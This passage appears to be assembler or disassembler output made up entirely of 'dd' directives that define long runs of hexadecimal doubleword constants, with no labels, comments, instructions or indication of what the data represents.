dd 0F3BD80C4h, 0BF5F5F18h, 0C512B16Fh, 707F2FDh, 6554B1EEh
dd 22E261B0h, 0FC812EFh, 0CF79A889h, 95F2B51h, 855134h
dd 0B3ABA9E0h, 32006768h, 0FB06A53Ch, 97800F11h, 133FCCD3h
dd 6BAE5F6Bh, 11B23DBh, 0EA6BC9C4h, 0FB84F491h, 0FFBD3327h
dd 6229EB07h, 92D512C1h, 333E692Fh, 0C9327A69h, 0E6F7501Fh
dd 98759580h, 4306987h, 0DE8BA7C7h, 0D45ECD58h, 98001E4Bh
dd 0DC8E93BDh, 0B30F667h, 6143CD8Ah, 3797AFD0h, 0B92A0B78h
dd 950244D5h, 0BD55ED09h, 0DE9FD1h, 4BE5033Ah, 6131F1EAh
dd 24D6256h, 53846800h, 59C38F6h, 7BEE4025h, 57E7A50h
dd 0EDF0B2BBh, 0BF58852Dh, 9D80799Fh, 80C638F7h, 7A85CF2Fh
dd 5472BF1Eh, 60135995h, 85168CBFh, 953E468Ah, 3600F3E4h
dd 62ADB7D7h, 1AEB4A7h, 79BC2D8Bh, 0DE5ED17Dh, 4D11C45Fh
dd 13D6185Fh, 619AC200h, 0DC2154h, 0CC5DF68Ah, 0C0F3FC06h
dd 0F56CE92Dh, 0EA57C832h, 523DD5ABh, 0EF961791h, 88A2ED52h
dd 0ED16308Eh, 5B5BE81Dh, 2344C829h, 0ADE15CB7h, 0AE266F51h
dd 729D57A5h, 9FADC72h, 0A7561FD1h, 0C5D2FB71h, 71323174h
dd 0AAE3208h, 0B6B55DCBh, 3D82DD59h, 19D58531h, 197932FBh
dd 0FEBF1A18h, 9D01820Bh, 5BD70F8Dh, 8DCE7202h, 0B74AC709h
dd 0BDC55897h, 5BF4C276h, 976AEBC9h, 3B3DD95Bh, 0C02CA0h
dd 188258FEh, 1D9D0BDFh, 80E01C58h, 0FBBB50FAh, 6C152643h
dd 0EB8A9EA9h, 0FB9125B2h, 0D74EECA6h, 0BE6451FEh, 0A3AB63D6h
dd 0D0F72520h, 0FB614FFEh, 0C70BC27Ah, 81023701h, 7BE8F410h
dd 0D69F5D18h, 1CADC282h, 70EBBB14h, 0D35B5ECFh, 0AA05B2B0h
dd 0F56A4A30h, 0EF8E3FBh, 0EB4A0B0Fh, 4FC26043h, 2A796982h
dd 0F2E2570Bh, 9DCC674h, 19DAAD3Fh, 402DCFDDh, 0D4B99D7Dh
dd 10E77F2Dh, 0D9A23h, 89BE9809h, 0D7DFC1A5h, 8BB7164Ah
dd 0DBAC2959h, 0EFE00173h, 0E9938612h, 0F5127BE3h, 5D92FE31h
dd 4AB7FF6Ah, 0C517AA80h, 17D1AC5Bh, 0AA8C0FFFh, 54B5DC32h
dd 0B51355F1h, 0EB0BEAB8h, 18C61F54h, 71529625h, 541A0061h
dd 0CFE29CF4h, 177FC405h, 0C5FF505Fh, 6AFBCDFDh, 31805CFCh
dd 0F4F9BFBBh, 6286334Fh, 75FE9DB0h, 5BF00F6h, 1C197339h
dd 2254EA6h, 0E39A57B0h, 39134801h, 6EDD2A81h, 2B1F8D6Eh
dd 8A2F6128h, 0DE0155E4h, 0EFF48589h, 0A27E472Ah, 0E1E74B86h
dd 93D8C704h, 1FA2FE5Bh, 3798C801h, 6BE81997h, 0DF2556BDh
dd 9C20BF5Fh, 31258F54h, 9A0DDFE1h, 0EF0920A1h, 218CAE4Bh
dd 58D1609h, 0FC38281Dh, 9EA9895h, 11BD2185h, 23494FE4h
dd 97A35A77h, 94D47DD6h, 0AA42C44Ch, 90D87620h, 0B0460473h
dd 0EE206D6Ch, 2E01D004h, 273BF012h, 175F6180h, 91C6D88Bh
dd 3A157144h, 0BDD2BEB6h, 0F8F2A876h, 0F9B30BC6h, 68F7B509h
dd 0B6F43DF4h, 9DD5BE99h, 8103396Ch, 0BAB22AF3h, 0F00EB387h
dd 5576EACBh, 146E8A98h, 79CB55D2h, 4060E6FFh, 15794555h
dd 5F65505Fh, 205E39E6h, 0C22B58B0h, 8CF01ACDh, 4D387C85h
dd 1251C35Ah, 50B74084h, 3BD0033Ch, 45383A81h, 3644E65Bh
dd 2F0AAC2Dh, 624D9E9h, 0D57682C8h, 400382E8h, 0F84F3C6Eh
dd 0DE1A8DC2h, 12627DF9h, 5031B39h, 1C5B61F8h, 8DD1030Ch
dd 4D091D20h, 128808EDh, 640523F5h, 6D05058Fh, 0A2BFC483h
dd 8B511332h, 81105B01h, 1446B0A9h, 335909B5h, 5702C3C0h
dd 0E0463105h, 30C62444h, 476BE585h, 0A712D268h, 8304D49Ah
dd 0EBAD1D45h, 0F05A8A39h, 1890D09Bh, 5BC408D6h, 0D38BD645h
dd 1A00FCE2h, 49DA3D93h, 4D001D40h, 0E757545Bh, 13EB178h
dd 0F267091h, 215FD7BFh, 9A67D002h, 250F434Ch, 0B28FE0E2h
dd 8BBEC395h, 2E00070Ch, 0F8C181F7h, 0B72E560Bh, 201FF264h
dd 198B2F37h, 1590FF22h, 2701EAA9h, 0FEFA049Fh, 320AFD2h
dd 97B21DD6h, 40F1415Eh, 2C5CBC61h, 5970857Ch, 2C3800EAh
dd 0F943C7CCh, 18139B77h, 1C00BE0Ch, 0E9815B84h, 0FB4B01B2h
dd 51D78B39h, 0E2E5FC66h, 7048F12h, 80267558h, 836F1FDAh
dd 97F31E8h, 0F4F8FC08h, 5026A248h, 80881048h, 0AA6A4AD6h
dd 0D4145540h, 1F7B41E8h, 68956524h, 64890079h, 0B516ED5Bh
dd 7E124D3Eh, 0DCBED68Dh, 5D49E95Fh, 0BC78075Ah, 9090EC1Ah
dd 1CA7F2FAh, 8AA6E544h, 0AD5CF0h, 0AF89AC87h, 6000248Fh
dd 0DEA8EB7Fh, 32F0344h, 0B4FACA67h, 1EA03309h, 5800D6F1h
dd 6E719062h, 3AB7ED05h, 0DA3002BEh, 6250F421h, 0DD4E6C00h
dd 0B3CA2129h, 97D600E8h, 876A603h, 9107248Ah, 4A6C876Bh
dd 0E62200EEh, 12EA7F4h, 665B9967h, 809DE0E7h, 215A5810h
dd 1B413FF1h, 40D1AAA4h, 700336C3h, 494A3883h, 511100EDh
dd 0E2B93DA0h, 22189EF3h, 5808F46Ah, 3120C038h, 8DBB3DA8h
dd 3EDB423Bh, 68FB30AEh, 610C3771h, 0B7209041h, 8008FE24h
dd 5280EE11h, 0BE719262h, 0E3220243h, 624AF607h, 2A961C1Bh
dd 7E4F1CA9h, 42F74052h, 8B906ED0h, 74F97306h, 0C8D00CB2h
dd 97C051C8h, 43E2BE3Dh, 9FA880BBh, 3BFC6F3Dh, 0B68A81E2h
dd 40D805D8h, 0AB30D71Fh, 3A6BC0C0h, 0E8F64Ah, 190EC35Dh
dd 4364E568h, 0AED92900h, 0AF66795Bh, 90F00044h, 1D0C4C98h
dd 0FD00CB9Dh, 0B18B23BFh, 402CA6Bh, 777F6736h, 8F04C330h
dd 60A8EE0h, 90004F8h, 25F4CC9h, 0E3A34D6h, 0E5DB18BDh
dd 0DD38F181h, 730898C5h, 0B51F21h, 28957618h, 0FAE17709h
dd 13FF848h, 5A346212h, 0A3F04982h, 0DB177A7Eh, 2E13870h
dd 0F12DD070h, 0F611D760h, 3BA9FDDh, 0FE3EF08Eh, 830F856h
dd 0E5972103h, 4DEF2E9Fh, 0DCAC014Eh, 8309A689h, 0CF96E7B8h
dd 0DD600632h, 1926D2A9h, 0A6B8E10h, 6F5B7060h, 10C0854Fh
dd 55877491h, 0F18A504Dh, 1B0D00C4h, 0DCB12499h, 6B002D67h
dd 0E9D38307h, 5EB96Eh, 3AE6FAF5h, 0D486B17Dh, 0C88C9800h
dd 4579210Dh, 3F320088h, 4BE3C4F9h, 6000AD6Dh, 3CE6A7F0h
dd 1D7B39A1h, 0D394BAh, 240E5E43h, 0CB002BC0h, 0BD729B6h
dd 3A207E3Ah, 8A006323h, 0CFD4884Bh, 0EA06E175h, 3AE9486Eh
dd 218B6008h, 3CFCC1Eh, 664EBA00h, 0E35FC5FFh, 0C4AF003Eh
dd 0BDCD00Ch, 6803465Ah, 0ACCB55EBh, 5E3B888Bh, 33FE0C7Eh
dd 0B078D118h, 4B8E8109h, 0A8D28068h, 3F900E56h, 0C2000CC0h
dd 9F755E41h, 10C5072h, 2067B8C7h, 0D340A4Bh, 78207B1Ah
dd 388CC17Ah, 7B8CBDCh, 652CE78Ch, 0D5196428h, 89988AC3h
dd 1D68A9FCh, 304AB2D1h, 0C149EBE8h, 4BC42401h, 23CC8E1Ah
dd 213D089Bh, 17C11388h, 0DC10E107h, 2D0FBD7h, 7F7DAA4h
dd 0E43E8FA6h, 0E8A04C55h, 0C0818A1Ch, 1EF0A0A8h, 4A0A2407h
dd 86FB2007h, 63084F4Ch, 1C40210Bh, 0D7E239B0h, 1FC0B814h
dd 0B3E31DA8h, 7C586103h, 3A60308Ah, 0D75BDE31h, 0D689A806h
dd 0AE085D0h, 8C95C12Ch, 807C1140h, 7510A25h, 10F58C18h
dd 0C70B1D3Fh, 0C8C4C650h, 205F2409h, 0FD264600h, 9B690727h
dd 0AED542D2h, 0B45E3CC2h, 8035405Fh, 0EBFE000Ah, 0F1460F03h
dd 0E039011h, 78E68998h, 0C8501973h, 501FAAA7h, 7DCC4A8h
dd 0FFC89450h, 3E77431Dh
dd 0E5DE841Ch, 209099B6h, 0C40C694Ch, 785927ACh, 930D05DCh
dd 0A8C8064h, 64BCD88Ch, 0A27617Ah, 432807F4h, 132267h
dd 0F20B1F41h, 0CBBF62FAh, 7BF00C00h, 0CC207901h, 9E5E0396h
dd 30D85836h, 2B922FC0h, 8B88A0C4h, 0A0D9441Eh, 0EFCB0186h
dd 208AB280h, 74488AF8h, 9B000D46h, 3E81DA6Fh, 0E503A9B5h
dd 4D03FF3Dh, 0C958B868h, 84CCAA1Ah, 0D56023E4h, 0E1236ECFh
dd 99011F2h, 80CFCD1Fh, 0D0F7C567h, 798560BFh, 4D5F6F36h
dd 740CC900h, 51D5CBDEh, 3490119h, 5E93DAF4h, 24442035h
dd 8121D400h, 94C12DC3h, 1EC8918Dh, 0D54CE0C8h, 0DBFA7CFAh
dd 65869318h, 0AC8D938h, 465FF75Eh, 56B201F4h, 209A759Fh
dd 48CD0C4h, 0C425C150h, 20336213h, 0C2C11291h, 0B16D600h
dd 27BACBFBh, 7289398Eh, 5804247Bh, 6238C238h, 8CCF680Ch
dd 22C14F04h, 8C381BC4h, 0A8C11901h, 0A54876D9h, 58DC0020h
dd 850CD649h, 0D9295611h, 0B3955E00h, 90F6E9A8h, 48D5E22Dh
dd 84104C04h, 0C07D888Ch, 7460A28h, 880B18E1h, 0A39203Ch
dd 0B0D5844Ch, 8C118D8h, 44274FF9h, 0F8313436h, 44769424h
dd 0E152451h, 49088C4h, 5F9FD4C4h, 0D420A48Dh, 0C30C8CAh
dd 4C089CA4h, 0FB240678h, 4E0B187Fh, 18CC7DCh, 0F6D5C5A5h
dd 0A9CE3CD0h, 482095F8h, 0D3048C21h, 0E2E170CFh, 25209162h
dd 46CFCBh, 591A4079h, 0A4C17FDEh, 0E400EC99h, 5E3A057Dh
dd 48D92A85h, 20D200B8h, 0DFF1313Fh, 909ACEFBh, 39588B76h
dd 8C8FBC6Ch, 0F16FF609h, 101810B8h, 0CB468468h, 26C14B02h
dd 10C73BC4h, 0C1158800h, 0E4D7FED9h, 0E83115D0h, 8879C436h
dd 0D0A022B0h, 3D7CFF7Bh, 30674344h, 27484C5Ah, 916ECC99h
dd 7DA007Ch, 1F3D154h, 57EFEAFDh, 0E45F930Ah, 0C668C85Bh
dd 4674BCC9h, 0B57D0F54h, 0B795866h, 0C8EBF7E5h, 1393BE78h
dd 2170AD1Fh, 78F057Ch, 1207B11Ch, 2155D0D7h, 2327C38h
dd 0B98527D5h, 5C008109h, 5B1B6742h, 0F917C921h, 0FA571854h
dd 0C4950489h, 805D3FE4h, 6F75DF60h, 0CD46D8A6h, 28C14507h
dd 36C458C4h, 878649h, 0FE3D005Dh, 0F424D012h, 7B00B41Dh
dd 62CE31BEh, 5C752A25h, 2CC4630h, 0C429C14Ch, 11383133h
dd 28704E8Dh, 0A808E689h, 0B4538Ch, 0CDEF7BCFh, 0A5A7099Ah
dd 1888D37Ch, 28916F67h, 281C4500h, 0C4008C78h, 4AF41A63h
dd 0C08F6615h, 0A3716A21h, 9F06D5D3h, 870D7A84h, 0E85E5408h
dd 0A3790351h, 64CD5B49h, 45B16100h, 31A2712h, 207A12C7h
dd 0DCB4000Bh, 5E3919ECh, 796CB600h, 0C88FED3Eh, 44BA2Ch
dd 24CAC57Bh, 0FB932F62h, 0D1019F00h, 80EB2147h, 0FEF418C0h
dd 0D7034014h, 581CBA30h, 39019762h, 9A0048B3h, 3DB2B23h
dd 0D8902EA3h, 7C0308A2h, 0E023DF6Ch, 0A36E014Eh, 1897D5D4h
dd 76508866h, 5643A300h, 1D218A71h, 0EDE0E72h, 0FA460C57h
dd 2C85490Ah, 0B86261C4h, 0FBF442C0h, 18341948h, 0C7215966h
dd 3972E9h, 0C6985669h, 0D75F3E2Ah, 5824DD24h, 366EA40h
dd 0C8E007Fh, 0E3D9FB32h, 0A5022C28h, 3987CF1Bh, 50C960C7h
dd 998C63B6h, 42E7AD8Bh, 8C46241Ah, 73CFD604h, 60CE3AE1h
dd 0CFCE2800h, 52BED33Eh, 7CE23F12h, 0FCDFD020h, 3A8B8082h
dd 8E642CA5h, 0C8828361h, 7424B0D7h, 0DB01040Ah, 184AF5BEh
dd 0A3FCA859h, 87D523D6h, 4A006711h, 2F8EA37Ch, 380BA9DBh
dd 0E7E8D8h, 6212FA3Ch, 0ACCA1682h, 7E484003h, 0B3E34401h
dd 4BDE25h, 0CE91977Ch, 0A7C3281Fh, 0D5474098h, 1160C87Fh
dd 793DD98h, 45158D3h, 0D64AFA00h, 7ED4D00Fh, 0EA6820C3h
dd 9E13F263h, 0D9662320h, 0BD020A1Ch, 9D12D7DCh, 8E66117Ch
dd 7724E0D7h, 710686h, 222AC1A0h, 7E16CD91h, 4EE33500h
dd 1AF11C80h, 0EA37019Ah, 23685B8Ah, 7749BC3Dh, 0D00C4174h
dd 0B021C4C8h, 36E60013h, 8901CFA9h, 99F324D8h, 52D8FBC9h
dd 0F1E08864h, 0A4044061h, 2F648804h, 34600856h, 2609B4A6h
dd 0CEE0051Bh, 4589D4C0h, 18462C61h, 57240B9Eh, 0C84F04A4h
dd 28C87BE0h, 0F034079h, 0FC901739h, 8B1A67FCh, 9178438Ah
dd 0D1A142C8h, 3C668A1Ch, 3BC06C98h, 5557F3Bh, 28E4C11Ah
dd 0B88B4C01h, 0C0868018h, 2157BAE3h, 42445C85h, 77891540h
dd 0D0004F7Ch, 86ECC220h, 49C10C3Fh, 3E029C80h, 7E26CC53h
dd 75B45060h, 730E8B00h, 6090D4C7h, 0B1346067h, 0DD9FA3Fh
dd 78290A01h, 18857B89h, 4C7ACDD0h, 6789F8ABh, 0AA831810h
dd 18011530h, 7F7FFD57h, 2775000Eh, 53D6A04Ah, 0BE0C5B84h
dd 7995C958h, 29BF07DBh, 0A4D74779h, 0D9E4C011h, 0E9C18FD0h
dd 7C1703DDh, 58C29840h, 0E21C2673h, 0B2BF0BBCh, 9A7D0100h
dd 0BD07E303h, 0FB57848Fh, 14D9799Ch, 24CE1CD8h, 0B7AF810h
dd 1E2FF37h, 0DE9FC244h, 61A23C63h, 0D5CBB833h, 141702F7h
dd 0A4023E9Bh, 3444D0C7h, 0FC978064h, 0DBFAA67Ch, 41A29312h
dd 242A2C02h, 45ECA053h, 135CFEDh, 991C28A8h, 0F4CEC5C1h
dd 32093FEFh, 84BE2B78h, 90C8D7D4h, 40DCF289h, 7AE02C60h
dd 0E32EA8B8h, 467C5080h, 0B5FB008Ch, 43FD7FBCh, 54842EA4h
dd 3FA00080h, 3CC70116h, 2090BEA1h, 0F091FA00h, 62847505h
dd 0E39D30CFh, 655A7701h, 60FDF90Bh, 0A88848h, 58F8881Fh
dd 0CE17DE18h, 0C1761C0Ah, 0C808011h, 66FA4CDAh, 0D95E01D3h
dd 72A7E4CDh, 2874E429h, 0BDFD5000h, 253D8546h, 0A459C056h
dd 0AD06E07Fh, 0D29B601h, 49FA9444h, 0B024C720h, 6E7A1228h
dd 88B4CBA2h, 0F6D1C030h, 0C3FC15DEh, 0C6059E00h, 167F578Eh
dd 0DC661C68h, 0D6DB00C4h, 0BEE2FAD7h, 0DE3F3712h, 0CAADDC20h
dd 855F26C2h, 845937E3h, 83E0C0B8h, 7BF0E86Ch, 2260C096h
dd 0E507500Ah, 40C471DEh, 530B1A3Eh, 919B4E06h, 1F1910C1h
dd 40427325h, 30F5495Eh, 0A5007195h, 0A807FF20h, 53394ADh
dd 4037E92Dh, 82F4050Fh, 0AC38884Bh, 27E37C40h, 7C1792BFh
dd 80893291h, 0F8DA1D80h, 0F400556Eh, 0A86A99C7h, 4C30CC1Bh
dd 87125C67h, 1D64217Fh, 8D70C24h, 42E174CFh, 294F55C4h
dd 91A640FCh, 0C0D8D5DEh, 57B08461h, 58245C03h, 914960B2h
dd 0E6E298D2h, 9426197Bh, 0D500660Ch, 7F28C22Dh, 293760B2h
dd 0A19D046Fh, 0CA483Eh, 0FB28C996h, 4414407h, 5FDC8417h
dd 30C8C7D4h, 5E3B8E5Bh, 3028FF0h, 0EB46AB63h, 0C60C056h
dd 5EA89E65h, 4791946h, 0B5597781h, 0DA42C010h, 624C3EB3h
dd 540D0024h, 0C34FC9D8h, 94FB7856h, 6012441Ch, 23D8A372h
dd 651177D5h, 0A3F473h, 1695E6CEh, 0DCC02EC8h, 0B8B22094h
dd 0A293078h, 0F8074D08h, 40186466h, 410A213Bh, 0E74A0092h
dd 0CCD8D0FCh, 1712B596h, 1C8865A3h, 0EECE0330h, 39AC8BD3h
dd 0F8B01FC2h, 7216CFD9h, 0ECCBD2E1h, 7DD12310h, 42ED8F02h
dd 407C80B8h, 24B94C60h, 749C49A7h, 0C0030C46h, 5C240649h
dd 14A0691Eh, 0D2390CC0h, 27B45F0h, 0DD24BE26h, 3CC8F9B3h
dd 0B02CC0D9h, 3A48D1h, 68C10FEAh, 9AD81131h, 626C9BD4h
dd 68C36C35h, 14A232A4h, 0A4041A2Dh, 8164CEFCh, 0CAC423A4h
dd 8B0044C7h, 0EE7FC118h, 0DE440247h, 4EB3E19Ah, 3B7523h
dd 0C271F629h, 734DFFD6h, 6C26F400h, 0D772A827h, 12BC7E84h
dd 909066A2h, 0CAE742F8h, 3E386701h, 4A8093B6h, 0C035830h
dd 7145C0E9h, 0EE4CC728h, 0CE007E6Dh, 9547E254h, 159BCE9h
dd 3CFCA3E3h, 282450C1h
dd 373804D0h, 7CA0E0B1h, 426D3DE9h, 0BE15CF87h, 0F8BD808Fh
dd 220BAFC4h, 831CD91Ah, 98790661h, 9576EEBh, 29C4CDB5h
dd 0E5007864h, 0CB2FC9B8h, 171F7BAh, 431809BEh, 106523FAh
dd 17E9B0h, 0FD6990Ch, 7A016429h, 35384C5Ch, 6E83496Dh
dd 0E1313E5Dh, 0A04D9615h, 0A2006422h, 0F7E8CFC7h, 59F5E9h
dd 0B8E14A30h, 0A4D1D813h, 89C13E0Bh, 68608788h, 4B505E07h
dd 2B7274h, 0ACC2E994h, 0E5ED5F4Ah, 23496800h, 0FD25CA95h
dd 0FB51001Ch, 0FA67462Dh, 9A0FF99Eh, 80202BB9h, 4D3D3575h
dd 0B22D032Ah, 4B886F67h, 7CB02900h, 7B98FBBFh, 0D1A4195Eh
dd 80160823h, 0BF140B21h, 0C461A38h, 4AE13DF5h, 0D1008748h
dd 511FC565h, 500596h, 41ABA067h, 0AA69818Fh, 9F7C5770h
dd 80D01081h, 11A46352h, 9BB0DEBEh, 0FFE2C3B1h, 80C2131h
dd 20804FB7h, 2BA4D6E7h, 0FDE6EE10h, 36913518h, 0F1DB78h
dd 91B61C7h, 0BA5D4577h, 3F182B7Ch, 94F1C5A1h, 6FE00CA2h
dd 5A709EFEh, 448AF82Eh, 63ABE603h, 2E09307Dh, 8AF03AA1h
dd 0B552EC18h, 0FC8181h, 13153F86h, 64A6D584h, 0E0EFE109h
dd 70D8010Ah, 2DFD09C6h, 0ADF7D180h, 0AE8F8252h, 400201EEh
dd 61B0681Ah, 118481F5h, 80581450h, 23A7ECE2h, 0BD11E3B1h
dd 0A4DA007Bh, 0F08ADFBBh, 950156E6h, 0E07A1043h, 3C427B58h
dd 0C41DC064h, 0EDE83C1Fh, 8E9D9F00h, 0CC45AF8Dh, 3C8BBA00h
dd 4014D12h, 3E6A0096h, 5B85A251h, 6000B4DBh, 0CF206C06h
dd 79ADAh, 547C6704h, 596E1971h, 0FC86C539h, 66E4FC00h
dd 7F4E0DE6h, 6D170740h, 0AF2AFDAEh, 0F896BEh, 9526B27Ah
dd 631F790Bh, 0E580824Dh, 5EB851ECh, 0AE2300E2h, 0FFF6F9C3h
dd 0A73AD542h, 0DAFB809Ah, 8326D75Ch, 7960001Ch, 9CE11335h
dd 0E300D491h, 0E2DAE3Ch, 1F4D385Ch, 0D97C855Dh, 0D86D30D6h
dd 4C0121B9h, 0B701ACC4h, 18809611h, 0B5028C04h, 0F007E63Ah
dd 0B11F9042h, 0D01957D3h, 5CA08A96h, 0AF3D3603h, 8763F281h
dd 20D95D77h, 350F1730h, 200EA242h, 0C776B1E3h, 946218ACh
dd 872C79D9h, 45C9C600h, 5BF431EAh, 4084603Bh, 94EC628Dh
dd 9907B903h, 0D84DB014h, 0C0853683h, 987E7118h, 31833C2h
dd 0D50D44Fh, 0C42D01B6h, 781528A4h, 5288406Dh, 690064AAh
dd 0E637AB13h, 3ECEDCh, 0E2A91CFAh, 2C1243D8h, 777C8679h
dd 0D73640h, 0A5DCBFBCh, 645A1344h, 0CBF28900h, 947C2798h
dd 71EB07F7h, 2841EAh, 7350E7E1h, 1156770Ch, 7C7982h, 0C2327F8h
dd 5B35C6Fh, 28805B50h, 51D49700h, 0A8F10EA1h, 0B8831FFDh
dd 1F0F7EF7h, 0CE809DFCh, 0F38F676Ch, 79E163Ch, 232E5F10h
dd 2B5AF220h, 0F02DE84Ch, 6B4E0028h, 0CA55D3C9h, 3D638B10h
dd 1F9BA08h, 6B444920h, 0DD26DD36h, 0B577F44Eh, 2070826Ch
dd 8BF93E08h, 2AD9FF8Ch, 475CCD11h, 0B8AD0171h, 0D0F4FDECh
dd 2492088Ch, 3E03F020h, 3873E5C9h, 800D9204h, 0D3C0F289h
dd 30090125h, 64A08B9h, 2D308011h, 8EB46583h, 1D84038Ah
dd 168CA22Ah, 21007BA3h, 56B2FDCCh, 1F47F8F6h, 0C63A25DDh
dd 0E4A1349h, 0CF6399C0h, 0F9ED96Ah, 8C844872h, 6D870581h
dd 22D081F3h, 90E91464h, 3C3198CCh, 3A0047DFh, 0AD05C101h
dd 0D91CB834h, 3D8029F1h, 0E00FDD3Fh, 177300C5h, 0D1D00170h
dd 0D500CD46h, 3A4C2433h, 2085B9h, 27740888h, 39CFCA30h
dd 73F038h, 6AA54C84h, 0F8D5Dh, 8BC5623Ch, 0ADFF88D2h
dd 0B92CE83Dh, 3D7381CDh, 69A9967Bh, 1EA10D60h, 80437F3Eh
dd 6B7A50FCh, 0F7485822h, 65690061h, 0FBFEB609h, 0EEF03F16h
dd 0FEB5601h, 0C48AD8A5h, 81F696FAh, 4370BE0Eh, 0BD2D45D4h
dd 198C0FC3h, 612B0B18h, 0D170E0D5h, 0F78A3801h, 0CDAD58ECh
dd 2CDD1AD0h, 1EB73E9h, 96C3FEFFh, 0E835E9E1h, 0D33E08E7h
dd 8786004Fh, 0A777A029h, 681261BBh, 0C593043Eh, 2E908733h
dd 0D808B9Dh, 30FB07ADh, 0DE183C6Ah, 0CD00FFAAh, 0D4DB7CF5h
dd 1146ED3h, 570BD5A8h, 804046B7h, 0D9362DA0h, 3C166815h
dd 6E80C05Dh, 0BCB14B26h, 0A9631E93h, 1B8EBE9h, 0FCB2F319h
dd 0F0D58E2Dh, 72717E33h, 92EF3603h, 913F3826h, 8050A889h
dd 0C7AA10h, 0A6175F1Ch, 27FEA905h, 0E155CA00h, 0D20CD368h
dd 97B900C7h, 35F8B0F4h, 1E00A993h, 0C24936A0h, 73414C9h
dd 41D9925h, 0AF444323h, 0C1582000h, 0A927E5C3h, 78A11CE8h
dd 3757C0D7h, 14CE35B7h, 8F182B00h, 0C6843C6h, 85EF3988h
dd 8FF3380h, 1EB0A60Dh, 53962E07h, 784C94E9h, 0E0EDE080h
dd 0A422031Dh, 0A3521F02h, 210F7CA3h, 0C0ED07DAh, 3AF6FE67h
dd 18177BA7h, 0B9CFAED5h, 5F982A89h, 9A78FE00h, 3A9703F6h
dd 0AE60069Eh, 80EC3885h, 0EF195A03h, 1989524h, 21579639h
dd 81AC2DC3h, 52FD8911h, 72E83701h, 45301D92h, 1F070C73h
dd 0F6000420h, 974B0852h, 0EB880E0h, 0BFE89F8Eh, 5023583Bh
dd 52FC00C6h, 71F53704h, 21946086h, 0F52F76Fh, 0E23848h
dd 98505EC1h, 0D91397h, 2C43C5F2h, 7D78C9Eh, 0BEA930C0h
dd 3C6D2BBh, 4331C9CDh, 818D9A1h, 4420A5F2h, 0FAD200C5h
dd 92991489h, 0F4A0984Eh, 0D5300B53h, 0F04B605Fh, 93A307AFh
dd 0E0C49D0Ah, 66FA1C36h, 0CBF45500h, 729705A4h, 0B9AC0027h
dd 7FE68EADh, 58F4BBD9h, 316E8400h, 3CEDEE55h, 1EDFE276h
dd 80F6DA01h, 772EB826h, 5800475Ah, 0DCFCE324h, 8B15EEh
dd 0DBC9F39Fh, 0B91DDAFDh, 38F66B38h, 0B4988351h, 475CD6h
dd 0C7662314h, 93E5FB84h, 67413901h, 0E665DFC4h, 45D1094h
dd 3F30C4ECh, 523D10FFh, 99AF3936h, 3B55CB00h, 2B9C388Dh
dd 4031AE1Fh, 13CDA200h, 1FD8E1Ch, 8628CCFBh, 0BF953420h
dd 33590012h, 0E3BE3502h, 373004Bh, 9DBAB414h, 0F37AA8A7h
dd 0B5803Ah, 0C162E92Dh, 18D48h, 0EE6C4585h, 8AF4F2CCh
dd 0B2BF881Ch, 94D53F3Ah, 48964DB8h, 89653B17h, 8041CC21h
dd 0E5B6ABFCh, 0DDCE00E8h, 0B1754BCDh, 0F0005B98h, 398F9C7Ch
dd 279BC6h, 6368DBC1h, 0A37FB64Fh, 88038A73h, 0F7640A9Fh
dd 1510062h, 39ADC06Dh, 3D00DE8Ah, 9719726h, 60AE803Ah
dd 4DE4489Fh, 9316D12Ch, 420BF50Eh, 0B6208062h, 0F94C24Fh
dd 474C4833h, 5978272Fh, 290065B7h, 2A1C66CDh, 1C738B1Dh
dd 144DB2Ch, 51F18452h, 0BD6180E4h, 0B50BD982h, 631C02F4h
dd 0CBDEAC66h, 15C8B5C0h, 0A509230Bh, 0EEB30167h, 8DC8084Fh
dd 6B73005Bh, 52243B48h, 5300F18Ah, 3DC0B1DCh, 57136D1h
dd 0E10D3E16h, 0D4D9C06Eh, 5504956Dh, 5E148DF3h, 1DF00481h
dd 1DC3C0F8h, 0B0A717B9h, 0AE285290h, 0BE5A0B1Eh, 72230580h
dd 5699621h, 1DC5DD50h, 0D7B040B8h, 0C3917056h, 0B1F34609h
dd 0B430213Ch, 7AC084ACh, 279A0061h, 5A732560h, 0AE00A6BFh
dd 69BE1BBBh, 35F08C8h, 19AD71FEh, 0FB86FDAh, 0FDEEBCE9h
dd 7FA16B03h, 0FBED12EFh, 0C90ED983h, 200CCE61h, 5CEE04E1h
dd 80CF0D20h, 0E39EEF44h, 55B39700h, 12CE1B5Dh, 0CDF499h
dd 0BB4DA361h, 0F77B7AD7h, 34FE5818h, 0A7D6A0h, 64BFC187h
dd 829D7C4Eh, 0A3003D7Ch, 0E94CBC15h, 127091D5h, 3DB4A48h
dd 0EEC8AA00h, 74426097h, 0C998548Eh, 0BDFA5300h, 0D1DBF963h
dd 685D000Dh, 5B58ED27h, 0E600CFA2h, 0EF7699EAh, 0EE6B4670h
dd 1E0F033Bh, 0BEF34F60h, 0A0805B92h, 0E4D2FB11h, 70208A00h
dd 0D84865CAh
dd 0C0F62Ah, 0FE1CB9CEh, 3BD2E4B1h, 0F7257A00h, 0E898BB05h
dd 0B58CA8D0h, 12285C81h, 2A9ED40Fh, 82631840h, 0B70765A2h
dd 0F0B59D71h, 0A60BF610h, 0F2267D46h, 0C909009Fh, 37168EC6h
dd 170A0290h, 0EC3A0497h, 6A2E9600h, 12EE88h, 2CC0054Fh
dd 34D20EE9h, 27552A1Fh, 1C88A1C0h, 78E78A32h, 710A00BBh
dd 5ECD2B3Bh, 757E548Bh, 4B30E990h, 0DBE9A8E1h, 493703E6h
dd 2A7D4AFCh, 444B14F2h, 298576A0h, 30132824h, 8A18F802h
dd 0D9CC4096h, 7505095Bh, 6CAEECF2h, 2DE1914Eh, 70298D17h
dd 0F300952Bh, 1E3527C4h, 7EE0D8h, 0E81C56B0h, 776090CFh
dd 46DCB11Eh, 0EA44E607h, 1F1611D0h, 4DEF0004h, 6CF42548h
dd 51753CD7h, 2F30A90Fh, 76A380FEh, 0ABEF31h, 0B15FF975h
dd 147BCEEAh, 2FAF8216h, 19CC8800h, 164AB9Fh, 85DFFAEFh
dd 0E8ED978Eh, 0E200B045h, 0FF552B1h, 3621081Dh, 8060F399h
dd 862E9000h, 7D65C7F9h, 4621FBAh, 0B3D98052h, 0AC0A287h
dd 80E6B800h, 0ACCD98C9h, 2C98F2h, 9CD61914h, 1871CC1Bh
dd 79B8D200h, 0FFCB7606h, 14FD0783h, 60A8D95Dh, 0B24A4CB0h
dd 9CAA6E01h, 368B774Bh, 0E19EA451h, 58C0C6DCh, 0D407E612h
